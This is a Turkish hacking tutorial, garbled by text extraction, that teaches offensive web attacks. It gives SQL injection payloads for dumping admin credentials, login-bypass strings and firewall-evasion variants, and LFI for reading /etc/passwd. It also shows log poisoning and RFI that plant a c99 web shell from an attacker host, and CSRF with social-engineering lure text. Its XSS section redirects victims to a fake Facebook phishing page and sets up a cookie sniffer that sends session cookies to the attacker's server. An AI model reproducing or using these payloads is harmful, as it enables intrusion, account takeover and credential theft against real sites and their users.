Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 6: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir

d-) Kayıt Formlarında

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

